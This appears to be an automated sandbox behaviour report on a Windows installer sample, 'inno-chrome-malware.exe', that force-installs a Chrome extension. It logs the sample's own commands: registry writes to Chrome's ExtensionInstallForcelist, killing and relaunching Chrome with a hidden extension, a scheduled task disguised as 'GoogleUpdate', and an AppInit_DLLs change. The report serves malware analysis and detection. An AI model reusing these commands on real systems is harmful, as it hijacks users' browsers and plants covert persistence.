Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1948 --field-trial-handle=1836,i,18200466452915186121,16294735277586794674,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1808,i,2020482620358884493,2318261936585416733,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=1836,i,11312616248427942103,4316635521105666888,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1840,i,16202661095772921985,17311311684622988209,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\inno-chrome-malware.exe

File created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp

Jump to behavior

Source: classification engine

Classification label: mal68.phis.winEXE@229/23@23/11

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6492:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2244:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5488:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

File created: C:\Program Files\WinApps

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\install.bat" install

Source: InstallExtension.exe	String found in binary or memory: <StopAtDurationEnd>false</StopAtDurationEnd>
Source: InstallExtension.exe	String found in binary or memory: <StopAtDurationEnd>false</StopAtDurationEnd>
Source: InstallExtension.exe	String found in binary or memory: \ServiceApp\apps-helper
Source: InstallExtension.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: InstallExtension.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: InstallExtension.exe	String found in binary or memory: " --no-startup-window --load-extension="
Source: InstallExtension.exe	String found in binary or memory: set helper=%LocalAppdata%\ServiceApp\apps-helper
Source: InstallExtension.exe	String found in binary or memory: <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
Source: InstallExtension.exe	String found in binary or memory: <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
Source: InstallExtension.exe	String found in binary or memory: <StopAtDurationEnd>false</StopAtDurationEnd>
Source: InstallExtension.exe	String found in binary or memory: <StopAtDurationEnd>false</StopAtDurationEnd>
Source: InstallExtension.exe	String found in binary or memory: set helper=%LocalAppdata%\ServiceApp\apps-helper
Source: InstallExtension.exe	String found in binary or memory: <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
Source: InstallExtension.exe	String found in binary or memory: <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
Source: InstallExtension.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: InstallExtension.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: inno-chrome-malware.exe	String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9415_none_08e0c10ba840a28a\MSVCR90.dll

Jump to behavior

Source: inno-chrome-malware.exe

Static file information: File size 1668264 > 1048576

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Directory created: C:\Program Files\WinApps

Jump to behavior

Source: inno-chrome-malware.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Obfuscated command line found

Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp" /SL5="$70268,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe"
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp" /SL5="$30384,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp" /SL5="$70268,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe"	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp" /SL5="$30384,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT	Jump to behavior

Source: inno-chrome-malware.exe	Static PE information: section name: .didata
Source: inno-chrome-malware.tmp.0.dr	Static PE information: section name: .didata
Source: inno-chrome-malware.tmp.2.dr	Static PE information: section name: .didata

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: reg.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	File created: C:\Users\user\AppData\Local\ServiceApp\is-OKOQ1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2IQD1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	File created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	File created: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	File created: C:\Users\user\AppData\Local\Temp\is-Q5POL.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	File created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Jump to dropped file

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\System32\reg.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate

Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\timeout.exe TID: 6004	Thread sleep count: 32 > 30
Source: C:\Windows\System32\timeout.exe TID: 5812	Thread sleep count: 37 > 30
Source: C:\Windows\System32\timeout.exe TID: 6444	Thread sleep count: 36 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
